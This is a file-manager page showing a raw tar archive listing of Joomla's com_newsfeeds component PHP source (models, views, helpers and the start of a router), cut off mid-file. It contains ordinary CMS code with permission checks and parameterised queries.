File manager - Edit - /home/opticamezl/www/newok/531c5/components.tar
Back
com_newsfeeds/src/Model/NewsfeedModel.php 0000644 00000033050 15172576512 0014462 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_newsfeeds * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Administrator\Model; use Joomla\CMS\Application\ApplicationHelper; use Joomla\CMS\Factory; use Joomla\CMS\Form\Form; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Versioning\VersionableModelTrait; use Joomla\Component\Categories\Administrator\Helper\CategoriesHelper; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeed model. * * @since 1.6 */ class NewsfeedModel extends AdminModel { use VersionableModelTrait; /** * The type alias for this content type. * * @var string * @since 3.2 */ public $typeAlias = 'com_newsfeeds.newsfeed'; /** * The context used for the associations table * * @var string * @since 3.4.4 */ protected $associationsContext = 'com_newsfeeds.item'; /** * @var string The prefix to use with controller messages. * @since 1.6 */ protected $text_prefix = 'COM_NEWSFEEDS'; /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canDelete($record) { if (empty($record->id) || $record->published != -2) { return false; } if (!empty($record->catid)) { return $this->getCurrentUser()->authorise('core.delete', 'com_newsfeed.category.' . (int) $record->catid); } return parent::canDelete($record); } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * * @since 1.6 */ protected function canEditState($record) { if (!empty($record->catid)) { return $this->getCurrentUser()->authorise('core.edit.state', 'com_newsfeeds.category.' . (int) $record->catid); } return parent::canEditState($record); } /** * Method to get the record form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|bool A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_newsfeeds.newsfeed', 'newsfeed', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); $form->setFieldAttribute('publish_up', 'disabled', 'true'); $form->setFieldAttribute('publish_down', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); $form->setFieldAttribute('publish_up', 'filter', 'unset'); $form->setFieldAttribute('publish_down', 'filter', 'unset'); } // Don't allow to change the created_by user if not allowed to access com_users. if (!$this->getCurrentUser()->authorise('core.manage', 'com_users')) { $form->setFieldAttribute('created_by', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_newsfeeds.edit.newsfeed.data', []); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('newsfeed.id') == 0) { $app = Factory::getApplication(); $data->set('catid', $app->getInput()->get('catid', $app->getUserState('com_newsfeeds.newsfeeds.filter.category_id'), 'int')); } } $this->preprocessData('com_newsfeeds.newsfeed', $data); return $data; } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 3.0 */ public function save($data) { $input = Factory::getApplication()->getInput(); // Create new category, if needed. $createCategory = true; // If category ID is provided, check if it's valid. if (is_numeric($data['catid']) && $data['catid']) { $createCategory = !CategoriesHelper::validateCategoryId($data['catid'], 'com_newsfeeds'); } // Save New Category if ($createCategory && $this->canCreateCategory()) { $category = [ // Remove #new# prefix, if exists. 'title' => strpos($data['catid'], '#new#') === 0 ? substr($data['catid'], 5) : $data['catid'], 'parent_id' => 1, 'extension' => 'com_newsfeeds', 'language' => $data['language'], 'published' => 1, ]; /** @var \Joomla\Component\Categories\Administrator\Model\CategoryModel $categoryModel */ $categoryModel = Factory::getApplication()->bootComponent('com_categories') ->getMVCFactory()->createModel('Category', 'Administrator', ['ignore_request' => true]); // Create new category. if (!$categoryModel->save($category)) { $this->setError($categoryModel->getError()); return false; } // Get the Category ID. $data['catid'] = $categoryModel->getState('category.id'); } // Alter the name for save as copy if ($input->get('task') == 'save2copy') { $origTable = clone $this->getTable(); $origTable->load($input->getInt('id')); if ($data['name'] == $origTable->name) { list($name, $alias) = $this->generateNewTitle($data['catid'], $data['alias'], $data['name']); $data['name'] = $name; $data['alias'] = $alias; } else { if ($data['alias'] == $origTable->alias) { $data['alias'] = ''; } } $data['published'] = 0; } return parent::save($data); } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Convert the params field to an array. $registry = new Registry($item->metadata); $item->metadata = $registry->toArray(); // Convert the images field to an array. $registry = new Registry($item->images); $item->images = $registry->toArray(); } // Load associated newsfeeds items $assoc = Associations::isEnabled(); if ($assoc) { $item->associations = []; if ($item->id != null) { $associations = Associations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $item->id); foreach ($associations as $tag => $association) { $item->associations[$tag] = $association->id; } } } if (!empty($item->id)) { $item->tags = new TagsHelper(); $item->tags->getTagIds($item->id, 'com_newsfeeds.newsfeed'); // @todo: We probably don't need this in any client - but needs careful validation if (!Factory::getApplication()->isClient('api')) { $item->metadata['tags'] = $item->tags; } } return $item; } /** * Prepare and sanitise the table prior to saving. * * @param \Joomla\CMS\Table\Table $table The table object * * @return void */ protected function prepareTable($table) { $date = Factory::getDate(); $user = $this->getCurrentUser(); $table->name = htmlspecialchars_decode($table->name, ENT_QUOTES); $table->alias = ApplicationHelper::stringURLSafe($table->alias, $table->language); if (empty($table->alias)) { $table->alias = ApplicationHelper::stringURLSafe($table->name, $table->language); } if (empty($table->id)) { // Set the values $table->created = $date->toSql(); // Set ordering to the last item if not set if (empty($table->ordering)) { $db = $this->getDatabase(); $query = $db->getQuery(true) ->select('MAX(' . $db->quoteName('ordering') . ')') ->from($db->quoteName('#__newsfeeds')); $db->setQuery($query); $max = $db->loadResult(); $table->ordering = $max + 1; } } else { // Set the values $table->modified = $date->toSql(); $table->modified_by = $user->get('id'); } // Increment the content version number. $table->version++; } /** * Method to change the published state of one or more records. * * @param array &$pks A list of the primary keys to change. * @param integer $value The value of the published state. * * @return boolean True on success. * * @since 1.6 */ public function publish(&$pks, $value = 1) { $result = parent::publish($pks, $value); // Clean extra cache for newsfeeds $this->cleanCache('feed_parser'); return $result; } /** * A protected method to get a set of ordering conditions. * * @param object $table A record object. * * @return array An array of conditions to add to ordering queries. * * @since 1.6 */ protected function getReorderConditions($table) { return [ $this->getDatabase()->quoteName('catid') . ' = ' . (int) $table->catid, ]; } /** * A protected method to get a set of ordering conditions. * * @param Form $form The form object. * @param array $data The data to be injected into the form * @param string $group The plugin group to process * * @return void * * @since 1.6 */ protected function preprocessForm(Form $form, $data, $group = 'content') { if ($this->canCreateCategory()) { $form->setFieldAttribute('catid', 'allowAdd', 'true'); // Add a prefix for categories created on the fly. $form->setFieldAttribute('catid', 'customPrefix', '#new#'); } // Association newsfeeds items if (Associations::isEnabled()) { $languages = LanguageHelper::getContentLanguages(false, false, null, 'ordering', 'asc'); if (count($languages) > 1) { $addform = new \SimpleXMLElement('<form />'); $fields = $addform->addChild('fields'); $fields->addAttribute('name', 'associations'); $fieldset = $fields->addChild('fieldset'); $fieldset->addAttribute('name', 'item_associations'); foreach ($languages as $language) { $field = $fieldset->addChild('field'); $field->addAttribute('name', $language->lang_code); $field->addAttribute('type', 'modal_newsfeed'); $field->addAttribute('language', $language->lang_code); $field->addAttribute('label', $language->title); $field->addAttribute('translate_label', 'false'); $field->addAttribute('select', 'true'); $field->addAttribute('new', 'true'); $field->addAttribute('edit', 'true'); $field->addAttribute('clear', 'true'); $field->addAttribute('propagate', 'true'); } $form->load($addform, false); } } parent::preprocessForm($form, $data, $group); } /** * Is the user allowed to create an on the fly category? * * @return boolean * * @since 3.6.1 */ private function canCreateCategory() { return $this->getCurrentUser()->authorise('core.create', 'com_newsfeeds'); } } com_newsfeeds/src/Model/CategoriesModel.php 0000644 00000010157 15172576512 0015012 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Model; use Joomla\CMS\Categories\Categories; use Joomla\CMS\Categories\CategoryNode; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Model\ListModel; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * This models supports retrieving lists of newsfeed categories. * * @since 1.6 */ class CategoriesModel extends ListModel { /** * Model context string. * * @var string */ public $_context = 'com_newsfeeds.categories'; /** * The category context (allows other extensions to derived from this model). * * @var string */ protected $_extension = 'com_newsfeeds'; /** * Parent category of the current one * * @var CategoryNode|null */ private $_parent = null; /** * Array of child-categories * * @var CategoryNode[]|null */ private $_items = null; /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field * @param string $direction An optional direction [asc|desc] * * @return void * * @throws \Exception * * @since 1.6 */ protected function populateState($ordering = null, $direction = null) { $app = Factory::getApplication(); $this->setState('filter.extension', $this->_extension); // Get the parent id if defined. $parentId = $app->getInput()->getInt('id'); $this->setState('filter.parentId', $parentId); $params = $app->getParams(); $this->setState('params', $params); $this->setState('filter.published', 1); $this->setState('filter.access', true); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':' . $this->getState('filter.extension'); $id .= ':' . $this->getState('filter.published'); $id .= ':' . $this->getState('filter.access'); $id .= ':' . $this->getState('filter.parentId'); return parent::getStoreId($id); } /** * redefine the function and add some properties to make the styling easier * * @return mixed An array of data items on success, false on failure. */ public function getItems() { if ($this->_items === null) { $app = Factory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); if ($active) { $params = $active->getParams(); } else { $params = new Registry(); } $options = []; $options['countItems'] = $params->get('show_cat_items_cat', 1) || !$params->get('show_empty_categories_cat', 0); $categories = Categories::getInstance('Newsfeeds', $options); $this->_parent = $categories->get($this->getState('filter.parentId', 'root')); if (is_object($this->_parent)) { $this->_items = $this->_parent->getChildren(); } else { $this->_items = false; } } return $this->_items; } /** * get the Parent * * @return null */ public function getParent() { if (!is_object($this->_parent)) { $this->getItems(); } return $this->_parent; } } com_newsfeeds/src/Model/CategoryModel.php 0000644 00000027333 15172576512 0014506 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Model; use Joomla\CMS\Categories\Categories; use Joomla\CMS\Categories\CategoryNode; use Joomla\CMS\Factory; use Joomla\CMS\Helper\TagsHelper; use Joomla\CMS\Language\Multilanguage; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\Table\Table; use Joomla\Database\ParameterType; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeeds Component Category Model * * @since 1.5 */ class CategoryModel extends ListModel { /** * Category items data * * @var array */ protected $_item; /** * Array of newsfeeds in the category * * @var \stdClass[] */ protected $_articles; /** * Category left and right of this one * * @var CategoryNode[]|null */ protected $_siblings; /** * Array of child-categories * * @var CategoryNode[]|null */ protected $_children; /** * Parent category of the current one * * @var CategoryNode|null */ protected $_parent; /** * The category that applies. * * @var object */ protected $_category; /** * The list of other newsfeed categories. * * @var array */ protected $_categories; /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'name', 'a.name', 'numarticles', 'a.numarticles', 'link', 'a.link', 'ordering', 'a.ordering', ]; } parent::__construct($config, $factory); } /** * Method to get a list of items. * * @return mixed An array of objects on success, false on failure. */ public function getItems() { // Invoke the parent getItems method to get the main list $items = parent::getItems(); $taggedItems = []; // Convert the params field into an object, saving original in _params foreach ($items as $item) { if (!isset($this->_params)) { $item->params = new Registry($item->params); } // Some contexts may not use tags data at all, so we allow callers to disable loading tag data if ($this->getState('load_tags', true)) { $item->tags = new TagsHelper(); $taggedItems[$item->id] = $item; } } // Load tags of all items. if ($taggedItems) { $tagsHelper = new TagsHelper(); $itemIds = \array_keys($taggedItems); foreach ($tagsHelper->getMultipleItemTags('com_newsfeeds.newsfeed', $itemIds) as $id => $tags) { $taggedItems[$id]->tags->itemTags = $tags; } } return $items; } /** * Method to build an SQL query to load the list data. * * @return \Joomla\Database\DatabaseQuery An SQL query * * @since 1.6 */ protected function getListQuery() { $user = $this->getCurrentUser(); $groups = $user->getAuthorisedViewLevels(); // Create a new query object. $db = $this->getDatabase(); /** @var \Joomla\Database\DatabaseQuery $query */ $query = $db->getQuery(true); // Select required fields from the categories. $query->select($this->getState('list.select', $db->quoteName('a') . '.*')) ->from($db->quoteName('#__newsfeeds', 'a')) ->whereIn($db->quoteName('a.access'), $groups); // Filter by category. if ($categoryId = (int) $this->getState('category.id')) { $query->where($db->quoteName('a.catid') . ' = :categoryId') ->join('LEFT', $db->quoteName('#__categories', 'c'), $db->quoteName('c.id') . ' = ' . $db->quoteName('a.catid')) ->whereIn($db->quoteName('c.access'), $groups) ->bind(':categoryId', $categoryId, ParameterType::INTEGER); } // Filter by state $state = $this->getState('filter.published'); if (is_numeric($state)) { $state = (int) $state; $query->where($db->quoteName('a.published') . ' = :state') ->bind(':state', $state, ParameterType::INTEGER); } else { $query->where($db->quoteName('a.published') . ' IN (0,1,2)'); } // Filter by start and end dates. if ($this->getState('filter.publish_date')) { $nowDate = Factory::getDate()->toSql(); $query->extendWhere( 'AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1', ], 'OR' ) ->extendWhere( 'AND', [ $db->quoteName('a.publish_down') . ' IS NULL', $db->quoteName('a.publish_down') . ' >= :nowDate2', ], 'OR' ) ->bind([':nowDate1', ':nowDate2'], $nowDate); } // Filter by search in title if ($search = $this->getState('list.filter')) { $search = '%' . $search . '%'; $query->where($db->quoteName('a.name') . ' LIKE :search') ->bind(':search', $search); } // Filter by language if ($this->getState('filter.language')) { $query->whereIn($db->quoteName('a.language'), [Factory::getApplication()->getLanguage()->getTag(), '*'], ParameterType::STRING); } // Add the list ordering clause. $query->order($db->escape($this->getState('list.ordering', 'a.ordering')) . ' ' . $db->escape($this->getState('list.direction', 'ASC'))); return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field * @param string $direction An optional direction [asc|desc] * * @return void * * @since 1.6 * * @throws \Exception */ protected function populateState($ordering = null, $direction = null) { $app = Factory::getApplication(); $input = $app->getInput(); $params = $app->getParams(); $this->setState('params', $params); // List state information $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint'); $this->setState('list.limit', $limit); $limitstart = $input->get('limitstart', 0, 'uint'); $this->setState('list.start', $limitstart); // Optional filter text $this->setState('list.filter', $input->getString('filter-search')); $orderCol = $input->get('filter_order', 'ordering'); if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'ordering'; } $this->setState('list.ordering', $orderCol); $listOrder = $input->get('filter_order_Dir', 'ASC'); if (!in_array(strtoupper($listOrder), ['ASC', 'DESC', ''])) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $id = $input->get('id', 0, 'int'); $this->setState('category.id', $id); $user = $this->getCurrentUser(); if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))) { // Limit to published for people who can't edit or edit.state. $this->setState('filter.published', 1); // Filter by start and end dates. $this->setState('filter.publish_date', true); } $this->setState('filter.language', Multilanguage::isEnabled()); } /** * Method to get category data for the current category * * @return object * * @since 1.5 */ public function getCategory() { if (!is_object($this->_item)) { $app = Factory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); if ($active) { $params = $active->getParams(); } else { $params = new Registry(); } $options = []; $options['countItems'] = $params->get('show_cat_items', 1) || $params->get('show_empty_categories', 0); $categories = Categories::getInstance('Newsfeeds', $options); $this->_item = $categories->get($this->getState('category.id', 'root')); if (is_object($this->_item)) { $this->_children = $this->_item->getChildren(); $this->_parent = false; if ($this->_item->getParent()) { $this->_parent = $this->_item->getParent(); } $this->_rightsibling = $this->_item->getSibling(); $this->_leftsibling = $this->_item->getSibling(false); } else { $this->_children = false; $this->_parent = false; } } return $this->_item; } /** * Get the parent category. * * @return mixed An array of categories or false if an error occurs. */ public function getParent() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_parent; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ public function &getLeftSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_leftsibling; } /** * Get the sibling (adjacent) categories. * * @return mixed An array of categories or false if an error occurs. */ public function &getRightSibling() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_rightsibling; } /** * Get the child categories. * * @return mixed An array of categories or false if an error occurs. */ public function &getChildren() { if (!is_object($this->_item)) { $this->getCategory(); } return $this->_children; } /** * Increment the hit counter for the category. * * @param int $pk Optional primary key of the category to increment. * * @return boolean True if successful; false otherwise and internal error set. */ public function hit($pk = 0) { $input = Factory::getApplication()->getInput(); $hitcount = $input->getInt('hitcount', 1); if ($hitcount) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('category.id'); $table = Table::getInstance('Category', 'JTable'); $table->hit($pk); } return true; } } com_newsfeeds/src/View/Newsfeed/HtmlView.php 0000644 00000012622 15172576512 0015114 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_newsfeeds * * @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Administrator\View\Newsfeed; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Factory; use Joomla\CMS\Helper\ContentHelper; use Joomla\CMS\Language\Associations; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\View\GenericDataException; use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView; use Joomla\CMS\Toolbar\Toolbar; use Joomla\CMS\Toolbar\ToolbarHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * View to edit a newsfeed. * * @since 1.6 */ class HtmlView extends BaseHtmlView { /** * The item object for the newsfeed * * @var \Joomla\CMS\Object\CMSObject * * @since 1.6 */ protected $item; /** * The form object for the newsfeed * * @var \Joomla\CMS\Form\Form * * @since 1.6 */ protected $form; /** * The model state of the newsfeed * * @var \Joomla\CMS\Object\CMSObject * * @since 1.6 */ protected $state; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void * * @since 1.6 */ public function display($tpl = null) { $this->state = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new GenericDataException(implode("\n", $errors), 500); } // If we are forcing a language in modal (used for associations). if ($this->getLayout() === 'modal' && $forcedLanguage = Factory::getApplication()->getInput()->get('forcedLanguage', '', 'cmd')) { // Set the language field to the forcedLanguage and disable changing it. $this->form->setValue('language', null, $forcedLanguage); $this->form->setFieldAttribute('language', 'readonly', 'true'); // Only allow to select categories with All language or with the forced language. $this->form->setFieldAttribute('catid', 'language', '*,' . $forcedLanguage); // Only allow to select tags with All language or with the forced language. $this->form->setFieldAttribute('tags', 'language', '*,' . $forcedLanguage); } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @return void * * @since 1.6 */ protected function addToolbar() { Factory::getApplication()->getInput()->set('hidemainmenu', true); $user = $this->getCurrentUser(); $isNew = ($this->item->id == 0); $checkedOut = !(is_null($this->item->checked_out) || $this->item->checked_out == $user->get('id')); $toolbar = Toolbar::getInstance(); // Since we don't track these assets at the item level, use the category id. $canDo = ContentHelper::getActions('com_newsfeeds', 'category', $this->item->catid); $title = $isNew ? Text::_('COM_NEWSFEEDS_MANAGER_NEWSFEED_NEW') : Text::_('COM_NEWSFEEDS_MANAGER_NEWSFEED_EDIT'); ToolbarHelper::title($title, 'rss newsfeeds'); // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)) { $toolbar->apply('newsfeed.apply'); } $saveGroup = $toolbar->dropdownButton('save-group'); $saveGroup->configure( function (Toolbar $childBar) use ($checkedOut, $canDo, $user, $isNew) { // If not checked out, can save the item. if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)) { $childBar->save('newsfeed.save'); } if (!$checkedOut && count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0) { $childBar->save2new('newsfeed.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { $childBar->save2copy('newsfeed.save2copy'); } } ); if (empty($this->item->id)) { $toolbar->cancel('newsfeed.cancel', 'JTOOLBAR_CANCEL'); } else { $toolbar->cancel('newsfeed.cancel'); if (ComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $canDo->get('core.edit')) { $toolbar->versions('com_newsfeeds.newsfeed', $this->item->id); } } if (!$isNew && Associations::isEnabled() && ComponentHelper::isEnabled('com_associations')) { $toolbar->standardButton('associations', 'JTOOLBAR_ASSOCIATIONS', 'newsfeed.editAssociations') ->icon('icon-contract') ->listCheck(false); } $toolbar->divider(); $toolbar->help('News_Feeds:_Edit'); } } com_newsfeeds/src/View/Category/HtmlView.php 0000644 00000006016 15172576512 0015131 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\View\Category; use Joomla\CMS\MVC\View\CategoryView; use Joomla\Component\Newsfeeds\Site\Helper\RouteHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * HTML View class for the Newsfeeds component * * @since 1.0 */ class HtmlView extends CategoryView { /** * @var string Default title to use for page title * @since 3.2 */ protected $defaultPageTitle = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE'; /** * @var string The name of the extension for the category * @since 3.2 */ protected $extension = 'com_newsfeeds'; /** * @var string The name of the view to link individual items to * @since 3.2 */ protected $viewName = 'newsfeed'; /** * Execute and display a template script. * * @param string $tpl The name of the template file to parse; automatically searches through the template paths. * * @return void */ public function display($tpl = null) { $this->commonCategoryDisplay(); // Flag indicates to not add limitstart=0 to URL $this->pagination->hideEmptyLimitstart = true; // Prepare the data. // Compute the newsfeed slug. foreach ($this->items as $item) { $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; $temp = $item->params; $item->params = clone $this->params; $item->params->merge($temp); } parent::display($tpl); } /** * Prepares the document * * @return void */ protected function prepareDocument() { parent::prepareDocument(); $menu = $this->menu; $id = (int) @$menu->query['id']; if ( $menu && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed' || $id != $this->category->id) ) { $path = [['title' => $this->category->title, 'link' => '']]; $category = $this->category->getParent(); while ( isset($category->id) && $category->id > 1 && (!isset($menu->query['option']) || $menu->query['option'] !== 'com_newsfeeds' || $menu->query['view'] === 'newsfeed' || $id != $category->id) ) { $path[] = ['title' => $category->title, 'link' => RouteHelper::getCategoryRoute($category->id, $category->language)]; $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $this->pathway->addItem($item['title'], $item['link']); } } } } com_newsfeeds/src/View/Categories/HtmlView.php 0000644 00000001531 15172576512 0015436 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\View\Categories; use Joomla\CMS\MVC\View\CategoriesView; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeed categories view. * * @since 1.5 */ class HtmlView extends CategoriesView { /** * Language key for default page heading * * @var string * @since 3.2 */ protected $pageHeading = 'COM_NEWSFEEDS_DEFAULT_PAGE_TITLE'; /** * @var string The name of the extension for the category * @since 3.2 */ protected $extension = 'com_newsfeeds'; } com_newsfeeds/src/Helper/RouteHelper.php 0000644 00000003573 15172576512 0014365 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Helper; use Joomla\CMS\Categories\CategoryNode; use Joomla\CMS\Language\Multilanguage; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeeds Component Route Helper * * @since 1.5 */ abstract class RouteHelper { /** * getNewsfeedRoute * * @param int $id menu itemid * @param int $catid category id * @param int $language language * * @return string */ public static function getNewsfeedRoute($id, $catid, $language = 0) { // Create the link $link = 'index.php?option=com_newsfeeds&view=newsfeed&id=' . $id; if ((int) $catid > 1) { $link .= '&catid=' . $catid; } if ($language && $language !== '*' && Multilanguage::isEnabled()) { $link .= '&lang=' . $language; } return $link; } /** * getCategoryRoute * * @param int $catid category id * @param int $language language * * @return string */ public static function getCategoryRoute($catid, $language = 0) { if ($catid instanceof CategoryNode) { $id = $catid->id; } else { $id = (int) $catid; } if ($id < 1) { $link = ''; } else { // Create the link $link = 'index.php?option=com_newsfeeds&view=category&id=' . $id; if ($language && $language !== '*' && Multilanguage::isEnabled()) { $link .= '&lang=' . $language; } } return $link; } } com_newsfeeds/src/Helper/AssociationHelper.php 0000644 00000003423 15172576512 0015535 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2013 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Helper; use Joomla\CMS\Factory; use Joomla\CMS\Language\Associations; use Joomla\Component\Categories\Administrator\Helper\CategoryAssociationHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Newsfeeds Component Association Helper * * @since 3.0 */ abstract class AssociationHelper extends CategoryAssociationHelper { /** * Method to get the associations for a given item * * @param integer $id Id of the item * @param string $view Name of the view * * @return array Array of associations for the item * * @since 3.0 */ public static function getAssociations($id = 0, $view = null) { $jinput = Factory::getApplication()->getInput(); $view = $view ?? $jinput->get('view'); $id = empty($id) ? $jinput->getInt('id') : $id; if ($view === 'newsfeed') { if ($id) { $associations = Associations::getAssociations('com_newsfeeds', '#__newsfeeds', 'com_newsfeeds.item', $id); $return = []; foreach ($associations as $tag => $item) { $return[$tag] = RouteHelper::getNewsfeedRoute($item->id, (int) $item->catid, $item->language); } return $return; } } if ($view === 'category' || $view === 'categories') { return self::getCategoryAssociations($id, 'com_newsfeeds'); } return []; } } com_newsfeeds/src/Service/Router.php 0000644 00000017620 15172576512 0013566 0 ustar 00 <?php /** * @package Joomla.Site * @subpackage com_newsfeeds * * @copyright (C) 2006 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Newsfeeds\Site\Service; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Categories\CategoryFactoryInterface; use Joomla\CMS\Categories\CategoryInterface; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\Component\Router\RouterView; use Joomla\CMS\Component\Router\RouterViewConfiguration; use Joomla\CMS\Component\Router\Rules\MenuRules; use Joomla\CMS\Component\Router\Rules\NomenuRules; use Joomla\CMS\Component\Router\Rules\StandardRules; use Joomla\CMS\Menu\AbstractMenu; use Joomla\Database\DatabaseInterface; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Routing class from com_newsfeeds * * @since 3.3 */ class Router extends RouterView { /** * Flag to remove IDs * * @var boolean */ protected $noIDs = false; /** * The category factory * * @var CategoryFactoryInterface * * @since 4.0.0 */ private $categoryFactory; /** * The category cache * * @var array * * @since 4.0.0 */ private $categoryCache = []; /** * The db * * @var DatabaseInterface * * @since 4.0.0 */ private $db; /** * Newsfeeds Component router constructor * * @param SiteApplication $app The application object * 